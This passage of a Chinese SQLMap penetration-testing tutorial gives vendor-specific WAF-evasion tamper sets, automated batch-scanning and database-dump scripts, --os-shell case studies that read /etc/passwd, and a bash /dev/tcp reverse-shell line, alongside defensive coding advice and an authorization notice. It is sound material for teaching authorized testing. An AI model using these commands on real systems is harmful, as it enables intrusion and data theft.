# NTLM认证
sqlmap -u "http://192.168.1.100/news.php?id=1" \
--auth-type=NTLM \
--auth-cred="domain\\user:password" \
--batch
```
5.7 超时与重试
```
# 请求间隔2秒,超时60秒,重试5次,5线程并发
sqlmap -u "http://192.168.1.100/news.php?id=1" \
--delay=2 \
--timeout=60 \
--retries=5 \
--threads=5 \
--batch
```
【注意】--threads 并发线程数不要超过10,过高的并发可能触发目标
服务器限流或WAF告警。对于时间盲注(--technique=T),建议 --threads=1
因为并发会影响延时判断的准确性。
六、WAF绕过实战
6.1 常见WAF检测与识别
【示例】使用SQLMap内置WAF识别:
```
sqlmap -u "http://192.168.1.100/news.php?id=1" \
--identify-waf --batch
```
输出示例:
```
[INFO] testing if the target URL is protected by some kind of WAF/IPS
[INFO] testing if the target is protected by some kind of WAF/IPS
[INFO] the target appears to be syntax protected by 'ModSecurity' (ModSecurity)
[WARNING] the target seems to be protected by ModSecurity WAF. \
Are you sure that you want to continue? [y/N]
```
【示例】使用wafw00f工具辅助识别:
```
# 安装wafw00f
pip install wafw00f
# 识别目标WAF
wafw00f http://192.168.1.100/
# 预期输出:
[*] The site http://192.168.1.100/ is behind ModSecurity/CRS WAF.
```
【提示】--identify-waf 和 --check-waf 参数会让SQLMap在开始注入前
先检测WAF类型。如果识别到WAF,SQLMap会建议使用特定tamper组合。
6.2 针对不同WAF的绕过策略表
| WAF/防护产品 | 特征分析 | 推荐tamper组合 | 备注 |
|-----------------|----------------------------|--------------------------------------------------|--------------------------|
| 安全狗 | 关键字检测、空格过滤 | space2comment,charencode,randomcase | 组合使用效果佳 |
| 云锁 | 关键字检测、注释过滤 | space2randomblank,between,randomcase | 需测试多种空白替换 |
| 宝塔WAF | 严格关键字+正则匹配 | space2hash,charunicodeencode,apostrophemask | 需双重编码 |
| 阿里云WAF | 语义分析+规则匹配 | charunicodeencode,base64encode,between | 语义分析需更复杂变形 |
| Cloudflare | 机器学习+规则匹配 | randomcase,charencode,between,equaltolike | 组合多变体 |
| ModSecurity | OWASP CRS规则集 | modsecurityversioned,space2comment,randomcase | 版本注释有效 |
| 长亭雷池 | 语义分析引擎 | 自定义tamper+多重编码组合 | 语义引擎需深度变形 |
| F5 BIG-IP ASM | 正则+签名匹配 | chardoubleencode,space2comment,between | 双重编码绕过 |
| Imperva Incapsula| JS Challenge+规则 | randomcase,charencode,space2comment | 需处理JS挑战 |
| 360磐盾 | 关键字+频率限制 | space2comment,charencode,randomcase --delay=2 | 注意请求频率 |
【示例】针对安全狗WAF的绕过:
```
sqlmap -u "http://192.168.1.100/news.php?id=1" \
--tamper=space2comment,charencode,randomcase \
--random-agent \
--delay=1 \
--level=3 --risk=2 \
--dbms=mysql \
--batch
```
【示例】针对阿里云WAF的绕过:
```
sqlmap -u "http://192.168.1.100/news.php?id=1" \
--tamper=charunicodeencode,between,base64encode \
--random-agent \
--delay=2 \
--timeout=60 \
--retries=5 \
--level=4 --risk=2 \
--dbms=mysql \
--batch
```
【示例】针对Cloudflare的绕过:
```
sqlmap -u "http://192.168.1.100/news.php?id=1" \
--tamper=randomcase,charencode,between,equaltolike \
--random-agent \
--delay=1 \
--level=5 --risk=2 \
--dbms=mysql \
--batch
```
【提示】WAF绕过是一个持续对抗的过程。WAF厂商会不断更新规则,
tamper组合需要根据实际情况调整。建议先用 --identify-waf 识别WAF类型,
再选择对应的tamper策略。如果内置tamper无效,则需要开发自定义tamper。
6.3 延时注入绕过
时间盲注场景下,需要调整延时参数以区分真实延时和网络延迟:
```
sqlmap -u "http://192.168.1.100/news.php?id=1" \
--technique=T \
--time-sec=5 \
--delay=1 \
--timeout=30 \
--tamper=space2comment,randomcase \
--batch
```
参数说明:
| 参数 | 说明 | 推荐值 |
|------------|----------------------------------|-----------|
| --time-sec | 延时注入的等待秒数 | 5-10 |
| --delay | 每次请求间隔秒数 | 1-2 |
| --timeout | 单次请求超时秒数 | 30-60 |
| --retries | 失败重试次数 | 3-5 |
【注意】--time-sec 设得太小可能导致误判(网络延迟被误认为延时注入
成功),设得太大会增加检测时间。建议WAF环境下设为5-10秒。
6.4 分块传输绕过
分块传输编码(Chunked Transfer Encoding)可以绕过部分基于请求体
完整匹配的WAF规则:
```
sqlmap -u "http://192.168.1.100/news.php?id=1" \
--chunked \
--tamper=space2comment,randomcase \
--batch
```
【提示】--chunked 参数将HTTP请求使用Transfer-Encoding: chunked方式
发送,将payload分块传输。部分WAF只检查完整请求体,无法正确处理
分块数据,从而被绕过。
6.5 随机化参数绕过
```
# 随机化指定参数的值
sqlmap -u "http://192.168.1.100/news.php?id=1&token=abc" \
--randomize="token" \
--batch
# 参数化测试(自动添加无关参数干扰WAF)
sqlmap -u "http://192.168.1.100/news.php?id=1" \
--eval="import hashlib; token=hashlib.md5(str(id).encode()).hexdigest()" \
--batch
```
--randomize 参数会在每次请求时随机化指定参数的值,可以绕过基于
参数值频率统计的WAF规则。
6.6 大小写混淆与编码绕过
tamper组合策略(按场景分类):
| 场景 | 推荐tamper组合 |
|------------------------|------------------------------------------------------|
| 简单关键字过滤 | randomcase |
| 空格过滤 | space2comment 或 space2randomblank |
| 引号过滤 | apostrophemask 或 charunicodeencode |
| 关键字完全过滤 | charencode + between + randomcase |
| 严格WAF(多层检测) | charunicodeencode + between + randomcase + space2hash |
| 极端WAF(深度检测) | chardoubleencode + 自定义tamper |
【示例】极端WAF绕过组合:
```
sqlmap -u "http://192.168.1.100/news.php?id=1" \
--tamper=chardoubleencode,between,randomcase,space2hash,apostrophemask \
--random-agent \
--delay=2 \
--level=5 --risk=2 \
--dbms=mysql \
--batch \
--threads=1
```
七、自动化与批量扫描
7.1 批量URL扫描
【示例】从文件批量扫描:
```
# urls.txt 格式(每行一个URL)
http://192.168.1.100/page.php?id=1
http://192.168.1.101/article.php?id=5
http://192.168.1.102/news.php?id=3
http://192.168.1.103/view.php?id=7
# 执行批量扫描
sqlmap -m urls.txt \
--batch \
--smart \
--threads=3 \
--output-dir=/tmp/sqlmap_results
```
参数说明:
- -m:从文件读取URL列表
- --smart:快速智能模式,仅对疑似注入点进行深度测试
- --threads:并发数(批量扫描建议3-5)
- --output-dir:结果输出目录
【示例】爬虫模式自动发现并测试注入点:
```
# 从目标站点爬取所有链接,深度3,自动测试
sqlmap -u "http://192.168.1.100/" \
--crawl=3 \
--batch \
--smart \
--threads=3 \
--output-dir=/tmp/sqlmap_results
# 爬取+表单检测+WAF绕过
sqlmap -u "http://192.168.1.100/" \
--crawl=3 \
--forms \
--tamper=space2comment,randomcase \
--random-agent \
--batch \
--threads=3
```
7.2 与Burp Suite联动
方法一:从Burp Suite导出请求文件
在Burp Suite的Proxy -> HTTP History中:
1. 右键点击目标请求
2. 选择 "Copy to file"
3. 保存为 request.txt
使用SQLMap加载:
```
sqlmap -r request.txt -p id --batch --level=3
```
方法二:使用Burp Suite代理联动
在Burp Suite中设置代理监听 127.0.0.1:8080,然后:
```
sqlmap -u "http://192.168.1.100/news.php?id=1" \
--proxy="http://127.0.0.1:8080" \
--batch
```
这样所有SQLMap的请求都会经过Burp Suite,可以在Burp中查看完整的
请求和响应,方便调试tamper效果。
方法三:从Burp Suite日志文件加载目标
在Burp Suite中:
1. Target -> Site map
2. 右键 -> "Save items" -> 保存为XML文件
使用SQLMap加载:
```
sqlmap -l burp_targets.xml --batch --smart --threads=3
```
【提示】Burp Suite + SQLMap联动是渗透测试的标准工作流。Burp负责
目标发现和流量代理,SQLMap负责深度注入检测和利用。
7.3 自动化脚本编写
【示例1】Bash批量调用SQLMap脚本:
```bash
#!/bin/bash
# batch_sqlmap.sh - 批量SQL注入检测脚本
# 配置
TARGETS_FILE="urls.txt"
OUTPUT_DIR="/tmp/sqlmap_results"
LOG_FILE="/tmp/sqlmap_results/scan_log.txt"
SQLMAP_PATH="/usr/bin/sqlmap"
THREADS=3
LEVEL=3
RISK=1
TAMPER="space2comment,randomcase"
# 创建输出目录
mkdir -p "$OUTPUT_DIR"
# 检查目标文件
if [ ! -f "$TARGETS_FILE" ]; then
echo "[ERROR] Target file not found: $TARGETS_FILE"
exit 1
fi
# 统计目标数量
TOTAL=$(wc -l < "$TARGETS_FILE")
echo "[INFO] Starting SQLMap batch scan for $TOTAL targets..."
echo "[INFO] Start time: $(date)"
echo "========================================" | tee -a "$LOG_FILE"
# 遍历每个URL
COUNT=0
VULNERABLE=0
while IFS= read -r url; do
# 跳过空行和注释
[ -z "$url" ] && continue
[[ "$url" == \#* ]] && continue
COUNT=$((COUNT + 1))
echo "[INFO] ($COUNT/$TOTAL) Scanning: $url" | tee -a "$LOG_FILE"
# 执行SQLMap检测
RESULT=$($SQLMAP_PATH -u "$url" \
--batch \
--level=$LEVEL \
--risk=$RISK \
--tamper=$TAMPER \
--random-agent \
--threads=$THREADS \
--output-dir="$OUTPUT_DIR" \
2>&1)
# 检查是否发现注入点
if echo "$RESULT" | grep -q "is vulnerable"; then
echo "[VULN] Injection found: $url" | tee -a "$LOG_FILE"
VULNERABLE=$((VULNERABLE + 1))
# 自动导出数据库信息
$SQLMAP_PATH -u "$url" \
--batch \
--dbs \
--tamper=$TAMPER \
--output-dir="$OUTPUT_DIR" \
2>&1 | tee -a "$LOG_FILE"
else
echo "[SAFE] No injection: $url" | tee -a "$LOG_FILE"
fi
echo "----------------------------------------" | tee -a "$LOG_FILE"
done < "$TARGETS_FILE"
# 汇总报告
echo "========================================" | tee -a "$LOG_FILE"
echo "[INFO] Scan completed at: $(date)" | tee -a "$LOG_FILE"
echo "[INFO] Total targets: $TOTAL" | tee -a "$LOG_FILE"
echo "[INFO] Vulnerable: $VULNERABLE" | tee -a "$LOG_FILE"
echo "[INFO] Safe: $((TOTAL - VULNERABLE))" | tee -a "$LOG_FILE"
echo "[INFO] Results saved to: $OUTPUT_DIR" | tee -a "$LOG_FILE"
```
使用方法:
```
chmod +x batch_sqlmap.sh
./batch_sqlmap.sh
```
【示例2】Python调用SQLMap API:
```python
#!/usr/bin/env python3
"""
sqlmap_api_client.py - SQLMap REST API 自动化客户端
通过SQLMap API模式实现多任务并行注入检测
"""
import requests
import time
import json
import sys
from urllib.parse import urlparse
class SQLMapAPIClient:
"""SQLMap REST API 客户端"""
def __init__(self, host='127.0.0.1', port=8775):
self.api_url = f'http://{host}:{port}'
self.session = requests.Session()
def get_token(self):
"""获取API Token(新任务)"""
resp = self.session.get(f'{self.api_url}/task/new')
data = resp.json()
if data.get('success'):
return data.get('taskid')
else:
raise Exception(f'Failed to create task: {data}')
def set_options(self, task_id, options):
"""设置任务参数"""
resp = self.session.post(
f'{self.api_url}/option/{task_id}/set',
json=options
)
return resp.json().get('success', False)
def start_scan(self, task_id):
"""启动扫描任务"""
resp = self.session.post(f'{self.api_url}/scan/{task_id}/start')
data = resp.json()
return data.get('success', False)
def get_status(self, task_id):
"""获取扫描状态"""
resp = self.session.get(f'{self.api_url}/scan/{task_id}/status')
return resp.json()
def get_data(self, task_id):
"""获取扫描结果"""
resp = self.session.get(f'{self.api_url}/scan/{task_id}/data')
return resp.json()
def get_log(self, task_id):
"""获取扫描日志"""
resp = self.session.get(f'{self.api_url}/scan/{task_id}/log')
return resp.json()
def kill_task(self, task_id):
"""终止任务"""
resp = self.session.get(f'{self.api_url}/scan/{task_id}/kill')
return resp.json()
def delete_task(self, task_id):
"""删除任务"""
resp = self.session.get(f'{self.api_url}/task/{task_id}/delete')
return resp.json()
def scan_url(self, url, options=None):
"""完整扫描流程:创建任务->设置参数->启动->等待->获取结果"""
# 创建新任务
task_id = self.get_token()
print(f'[INFO] Task created: {task_id}')
# 设置默认参数
default_options = {
'url': url,
'level': 3,
'risk': 1,
'batch': True,
'randomAgent': True,
'tamper': 'space2comment,randomcase',
'getDbs': True,
}
# 合并自定义参数
if options:
default_options.update(options)
# 设置参数
self.set_options(task_id, default_options)
# 启动扫描
self.start_scan(task_id)
print(f'[INFO] Scan started for: {url}')
# 轮询等待完成
while True:
status = self.get_status(task_id)
scan_status = status.get('status')
if scan_status == 'terminated':
print(f'[INFO] Scan completed for: {url}')
break
elif scan_status == 'running':
time.sleep(5)
continue
else:
print(f'[WARNING] Unknown status: {scan_status}')
time.sleep(5)
# 获取结果
data = self.get_data(task_id)
result = data.get('data', [])
if result:
print(f'[VULN] Injection found in: {url}')
for item in result:
print(f' - {item}')
else:
print(f'[SAFE] No injection found: {url}')
# 清理任务
self.delete_task(task_id)
return result
def batch_scan(urls, api_host='127.0.0.1', api_port=8775):
"""批量扫描多个URL"""
client = SQLMapAPIClient(api_host, api_port)
results = {}
for url in urls:
print(f'\n{"="*60}')
print(f'Scanning: {url}')
print(f'{"="*60}')
result = client.scan_url(url)
results[url] = result
# 输出汇总报告
print(f'\n{"="*60}')
print('SCAN SUMMARY')
print(f'{"="*60}')
for url, result in results.items():
status = 'VULNERABLE' if result else 'SAFE'
print(f'{status}: {url}')
return results
if __name__ == '__main__':
# 目标URL列表
target_urls = [
'http://192.168.1.100/news.php?id=1',
'http://192.168.1.101/article.php?id=5',
'http://192.168.1.102/page.php?id=3',
]
# 执行批量扫描
batch_scan(target_urls)
```
7.4 SQLMap API模式使用
启动SQLMap API服务端:
```
# 方式一:监听所有接口(API模式)
sqlmap-api -s -H 0.0.0.0 -p 8775
# 方式二:仅本地监听
sqlmapapi.py -s -H 127.0.0.1 -p 8775
# 预期输出:
[INFO] Running REST-JSON API server at 127.0.0.1:8775..
[INFO] Admin ID: 7a3b8c2f1d4e5f6a
[INFO] Running debug environment...
```
API调用流程详解:
```
# 1. 创建新任务,获取taskid
curl -s http://127.0.0.1:8775/task/new | python3 -m json.tool
# 返回: {"taskid": "abc123", "success": true}
# 2. 设置任务参数
curl -s -X POST http://127.0.0.1:8775/option/abc123/set \
-H "Content-Type: application/json" \
-d '{"url":"http://192.168.1.100/news.php?id=1","level":3,"batch":true}' \
| python3 -m json.tool
# 返回: {"success": true}
# 3. 启动扫描
curl -s -X POST http://127.0.0.1:8775/scan/abc123/start \
-H "Content-Type: application/json" \
-d '{"url":"http://192.168.1.100/news.php?id=1"}' \
| python3 -m json.tool
# 返回: {"success": true, "engineid": 12345}
# 4. 查询扫描状态
curl -s http://127.0.0.1:8775/scan/abc123/status | python3 -m json.tool
# 返回: {"status": "running"} 或 {"status": "terminated"}
# 5. 获取扫描结果
curl -s http://127.0.0.1:8775/scan/abc123/data | python3 -m json.tool
# 返回: {"data": [...]}
# 6. 获取扫描日志
curl -s http://127.0.0.1:8775/scan/abc123/log | python3 -m json.tool
# 7. 删除任务
curl -s http://127.0.0.1:8775/task/abc123/delete | python3 -m json.tool
```
【提示】SQLMap API模式支持多任务并行,适合大规模自动化扫描场景。
API服务端可以同时处理多个扫描任务,通过taskid区分不同任务。
7.5 结果管理与报告
```
# 指定输出目录
sqlmap -u "http://192.168.1.100/news.php?id=1" \
--output-dir=/tmp/sqlmap_output \
--batch
# 结果文件结构
# /tmp/sqlmap_output/
# 192.168.1.100/
# log - 扫描日志
# session.sqlite - 会话数据库
# dump/
# webapp_db/
# users.csv - 导出的CSV数据
# files/ - 读取的文件
```
【提示】SQLMap默认将结果保存在用户目录下的 ~/.local/share/sqlmap/output/
中。使用 --output-dir 可以自定义输出路径。--flush-session 参数可以
清除之前的会话缓存,强制重新检测。
会话管理:
```
# 清除当前URL的会话(重新检测)
sqlmap -u "http://192.168.1.100/news.php?id=1" --flush-session --batch
# 恢复之前的会话(继续操作)
sqlmap -u "http://192.168.1.100/news.php?id=1" --batch
# SQLMap会自动加载之前的会话,无需重新检测
```
八、实战案例
----------------------------------------
案例一:GET参数注入全流程
----------------------------------------
场景:目标网站 http://192.168.1.100/news.php?id=1 存在GET参数注入
完整命令序列:
```
# 步骤1:检测注入点
sqlmap -u "http://192.168.1.100/news.php?id=1" --batch --level=3
# 步骤2:获取数据库指纹
sqlmap -u "http://192.168.1.100/news.php?id=1" \
--banner --current-user --current-db --is-dba --batch
# 步骤3:枚举所有数据库
sqlmap -u "http://192.168.1.100/news.php?id=1" --dbs --batch
# 步骤4:枚举目标数据库的表
sqlmap -u "http://192.168.1.100/news.php?id=1" --tables -D webapp_db --batch
# 步骤5:枚举users表的列
sqlmap -u "http://192.168.1.100/news.php?id=1" \
--columns -D webapp_db -T users --batch
# 步骤6:导出users表数据
sqlmap -u "http://192.168.1.100/news.php?id=1" \
--dump -D webapp_db -T users \
--batch --threads=5
# 步骤7:一键完成检测+枚举+导出
sqlmap -u "http://192.168.1.100/news.php?id=1" \
--batch --level=3 \
--banner --current-db --dbs \
--dump -D webapp_db -T users \
--threads=5 \
--output-dir=/tmp/sqlmap_case1
```
----------------------------------------
案例二:POST表单注入
----------------------------------------
场景:登录页面 http://192.168.1.100/login.php 使用POST提交
方法一:使用--data参数
```
# 检测POST注入
sqlmap -u "http://192.168.1.100/login.php" \
--data="username=admin&password=123456" \
-p username \
--batch --level=3
# 获取数据库信息
sqlmap -u "http://192.168.1.100/login.php" \
--data="username=admin&password=123456" \
-p username \
--dbs --batch
```
方法二:使用-r请求文件
```
# request.txt内容:
POST /login.php HTTP/1.1
Host: 192.168.1.100
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: text/html
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=abc123def456
Content-Length: 31
username=admin&password=123456
# 执行检测(在username参数后加*标记注入点)
sqlmap -r request.txt -p username --batch --level=3
# 枚举数据
sqlmap -r request.txt -p username --dbs --batch
# 导出数据
sqlmap -r request.txt -p username \
--dump -D webapp_db -T users --batch --threads=5
```
----------------------------------------
案例三:带WAF防护的注入绕过
----------------------------------------
场景:目标 http://192.168.1.100/news.php?id=1 部署了安全狗WAF
检测WAF:
```
sqlmap -u "http://192.168.1.100/news.php?id=1" --identify-waf --batch
```
绕过WAF进行检测:
```
# 第一轮:基础tamper组合
sqlmap -u "http://192.168.1.100/news.php?id=1" \
--tamper=space2comment,charencode,randomcase \
--random-agent \
--delay=1 \
--level=3 --risk=2 \
--dbms=mysql \
--batch
# 第二轮:如果第一轮失败,加强编码
sqlmap -u "http://192.168.1.100/news.php?id=1" \
--tamper=space2comment,charunicodeencode,randomcase,between,apostrophemask \
--random-agent \
--delay=2 \
--level=4 --risk=2 \
--dbms=mysql \
--batch
# 第三轮:如果前两轮失败,使用自定义tamper
# 先将自定义tamper放入 sqlmap/tamper/ 目录
sqlmap -u "http://192.168.1.100/news.php?id=1" \
--tamper=custom_waf_bypass \
--random-agent \
--delay=2 \
--level=5 --risk=3 \
--dbms=mysql \
--batch \
--flush-session
```
【注意】WAF绕过是一个迭代过程,需要多轮尝试。如果所有内置tamper
都失败,需要分析WAF规则特征,针对性开发自定义tamper脚本。
----------------------------------------
案例四:--os-shell获取系统Shell
----------------------------------------
场景:已确认注入点且当前用户为DBA,尝试获取OS Shell
前置条件检查:
```
# 检查是否为DBA
sqlmap -u "http://192.168.1.100/news.php?id=1" --is-dba --batch
# 检查 --os-shell 可用性
sqlmap -u "http://192.168.1.100/news.php?id=1" --os-shell --batch
```
操作步骤:
```
# 步骤1:确认DBA权限(输出 is DBA: True)
sqlmap -u "http://192.168.1.100/news.php?id=1" --is-dba --batch
# 步骤2:获取OS Shell
sqlmap -u "http://192.168.1.100/news.php?id=1" --os-shell --batch
# 步骤3:在OS Shell中执行命令
os-shell> whoami
os-shell> id
os-shell> cat /etc/passwd
os-shell> ls -la /var/www/html/
os-shell> find / -name "config*" -type f 2>/dev/null
# 步骤4:如果需要反弹Shell
os-shell> bash -i >& /dev/tcp/192.168.1.200/4444 0>&1
# 或使用 --os-pwn 直接反弹
sqlmap -u "http://192.168.1.100/news.php?id=1" \
--os-pwn --batch
```
【警告】--os-shell 成功需要满足以下条件:
1. 当前数据库用户为DBA
2. 数据库支持文件读写(MySQL的FILE权限)
3. 知道Web根路径或数据库插件目录
4. 目标未禁用相关功能(如MySQL的secure_file_priv)
----------------------------------------
案例五:二阶注入场景检测
----------------------------------------
场景:用户注册时用户名被存入数据库,在后台管理页面查看用户列表时
触发二阶注入
```
# 第一步:检测二阶注入
# -r 参数指定第一阶段请求(注册页面提交payload)
# --second-order 指定第二阶段URL(触发注入的页面)
sqlmap -r register_request.txt \
--second-order="http://192.168.1.100/admin/users.php" \
--batch --level=4
# register_request.txt 内容:
POST /register.php HTTP/1.1
Host: 192.168.1.100
Content-Type: application/x-www-form-urlencoded
username=admin'&email=test@test.com&submit=Register
# 第二步:如果检测到二阶注入,枚举数据
sqlmap -r register_request.txt \
--second-order="http://192.168.1.100/admin/users.php" \
--dbs --batch --level=4
# 第三步:导出数据
sqlmap -r register_request.txt \
--second-order="http://192.168.1.100/admin/users.php" \
--dump -D webapp_db -T users \
--batch --level=4
```
【提示】二阶注入检测难度较高,需要提高 --level 级别(建议4-5)。
--second-order 指定的URL应该是实际触发SQL查询执行的页面。
九、防御建议
9.1 参数化查询(最有效防御)
参数化查询是防御SQL注入的根本方法。使用参数化查询后,用户输入
不会作为SQL代码执行,从根本上消除注入风险。
PHP PDO 示例:
```php
<?php
// 错误写法(存在SQL注入)
$id = $_GET['id'];
$sql = "SELECT * FROM news WHERE id = $id";
$result = mysqli_query($conn, $sql);
// 正确写法(参数化查询,安全)
$id = $_GET['id'];
$sql = "SELECT * FROM news WHERE id = ?";
$stmt = $pdo->prepare($sql);
$stmt->execute([$id]);
$result = $stmt->fetchAll();
?>
```
Java PreparedStatement 示例:
```java
// 安全写法
String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement pstmt = conn.prepareStatement(sql);
pstmt.setString(1, username);
pstmt.setString(2, password);
ResultSet rs = pstmt.executeQuery();
```
Python 示例:
```python
import pymysql
# 安全写法
conn = pymysql.connect(host='localhost', user='root', password='pass', db='webapp')
cursor = conn.cursor()
sql = "SELECT * FROM users WHERE username = %s AND password = %s"
cursor.execute(sql, (username, password))
```
9.2 ORM框架使用
使用ORM框架可以自动处理参数化查询,避免手写SQL导致的注入风险。
| 语言 | 推荐ORM框架 |
|-----------|------------------------------|
| Python | SQLAlchemy, Django ORM |
| Java | Hibernate, MyBatis |
| PHP | Eloquent, Doctrine |
| Node.js | Sequelize, TypeORM |
| Go | GORM |
【注意】ORM框架并非万能。如果使用原生SQL查询接口(如raw()方法),
仍然需要注意参数化处理。
9.3 WAF规则配置
建议部署WAF作为纵深防御的一环(但不能作为唯一防御手段):
1. 部署ModSecurity + OWASP CRS规则集
2. 配置SQL注入特征规则,拦截常见注入payload
3. 设置请求频率限制,防止自动化扫描
4. 启用WAF日志审计,记录拦截事件
5. 定期更新WAF规则库
9.4 输入校验
在应用层进行输入校验作为补充防御:
```
1. 白名单验证:只允许预期字符(如ID只允许数字)
2. 长度限制:限制输入长度
3. 类型检查:确保输入为预期数据类型
4. 特殊字符过滤:过滤SQL关键字和特殊字符(作为补充手段)
5. 输出编码:对输出到页面的数据进行HTML编码
```
【提示】输入校验和过滤只是辅助手段,核心防御仍然是参数化查询。
不要依赖黑名单过滤来防御SQL注入,攻击者总能找到绕过方法。
十、SQLMap常用命令速查表
----------------------------------------
目标指定
----------------------------------------
| 命令 | 说明 |
|----------------------------------|------------------------------|
| -u "URL" | 指定目标URL |
| -m urls.txt | 从文件批量读取URL |
| -r request.txt | 从文件加载HTTP请求 |
| -g "inurl:php?id=" | Google dork搜索 |
| --data="key=val" | 指定POST数据 |
| -l burp_log.xml | 从Burp日志加载目标 |
| --crawl=3 | 爬虫模式,深度3 |
| --forms | 自动解析页面表单 |
----------------------------------------
检测设置
----------------------------------------
| 命令 | 说明 |
|----------------------------------|------------------------------|
| --level=3 | 检测级别1-5 |
| --risk=2 | 风险级别1-3 |
| --dbms=mysql | 指定数据库类型 |
| --technique=BEUSTQ | 指定注入技术 |
| --tamper=script1,script2 | 指定tamper脚本 |
| --prefix=")" | 注入payload前缀 |
| --suffix="-- -" | 注入payload后缀 |
| --skip="param" | 跳过指定参数检测 |
| --skip-static | 跳过静态参数 |
----------------------------------------
数据提取
----------------------------------------
| 命令 | 说明 |
|----------------------------------|------------------------------|
| --banner | 获取数据库Banner |
| --current-user | 当前用户 |
| --current-db | 当前数据库 |
| --is-dba | 检测DBA权限 |
| --hostname | 数据库主机名 |
| --dbs | 枚举所有数据库 |
| --tables -D dbname | 枚举指定库的表 |
| --columns -D db -T table | 枚举指定表的列 |
| --schema | 枚举所有表结构 |
| --count -D db -T table | 统计表数据条数 |
| --dump -D db -T table | 导出表数据 |
| --dump-all --exclude-sysdbs | 导出所有非系统库数据 |
| --search -C "column" | 搜索列名 |
| --sql-shell | 交互式SQL Shell |
| --sql-query="SQL" | 执行单条SQL |
----------------------------------------
文件系统与OS
----------------------------------------
| 命令 | 说明 |
|----------------------------------|------------------------------|
| --file-read="/etc/passwd" | 读取服务器文件 |
| --file-write="local" --file-dest="remote" | 上传文件到服务器 |
| --os-shell | 获取OS Shell |
| --os-cmd="command" | 执行单条OS命令 |
| --os-pwn | 反弹Shell |
----------------------------------------
请求定制
----------------------------------------
| 命令 | 说明 |
|----------------------------------|------------------------------|
| --cookie="..." | 设置Cookie |
| --user-agent="..." | 设置UA |
| --random-agent | 随机UA |
| --referer="..." | 设置Referer |
| --headers="Key: Val" | 自定义HTTP头 |
| --method=POST | HTTP方法 |
| --delay=2 | 请求间隔(秒) |
| --timeout=30 | 超时(秒) |
| --retries=3 | 重试次数 |
| --threads=5 | 并发线程数 |
| --proxy="http://127.0.0.1:8080" | HTTP代理 |
| --proxy-cred="user:pass" | 代理认证 |
| --auth-type=Basic | HTTP认证类型 |
| --auth-cred="user:pass" | HTTP认证凭据 |
| --tor | 使用Tor |
| --csrf-token="name" | CSRF Token参数名 |
----------------------------------------
高级选项
----------------------------------------
| 命令 | 说明 |
|----------------------------------|------------------------------|
| --second-order="URL" | 二阶注入检测URL |
| --chunked | 分块传输编码 |
| --randomize="param" | 随机化参数值 |
| --identify-waf | WAF识别 |
| --mobile | 模拟移动端UA |
| --smart | 智能快速模式 |
| --flush-session | 清除会话 |
| --output-dir="path" | 输出目录 |
| --results-file="path" | 结果文件 |
| --batch | 非交互模式 |
| --wizard | 向导模式 |
| --cleanup | 清理DBMS残留 |
| --dependencies | 检查依赖 |
| --list-tampers | 列出所有tamper |
| --update | 更新SQLMap |
十一、总结
SQLMap作为SQL注入自动化检测与利用的事实标准工具,其功能之强大、
覆盖面之广在同类工具中无出其右。本文从安装配置、核心参数、数据提取、
高级技巧、WAF绕过、自动化扫描到实战案例,全面覆盖了SQLMap的使用
方法。
核心要点总结:
1. 检测策略:先 --identify-waf 识别WAF,再选择 --level 和 --risk,
明确 --dbms 和 --technique 可以提高效率。
2. Tamper是灵魂:WAF绕过的核心在于tamper脚本的灵活组合。内置tamper
无法满足时,需要掌握自定义tamper开发能力。
3. 自动化能力:SQLMap API模式支持多任务并行,结合Python脚本可以
实现大规模自动化扫描。
4. 安全使用:所有操作必须在授权环境下进行,--os-shell 等高危操作
需格外谨慎。
5. 防御根本:参数化查询是防御SQL注入的唯一根本方案,WAF和输入
校验只是补充防御手段。
【合规提醒】本文所有技术内容仅用于安全研究和授权测试。在实际使用
SQLMap前,请确保已获得目标系统的书面授权测试许可。未经授权的扫描
和渗透测试行为可能违反《中华人民共和国网络安全法》第二十七条等相关
法律法规,最高可处五年以上有期徒刑。请务必合法合规使用本工具。
openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构
更多推荐

所有评论(0)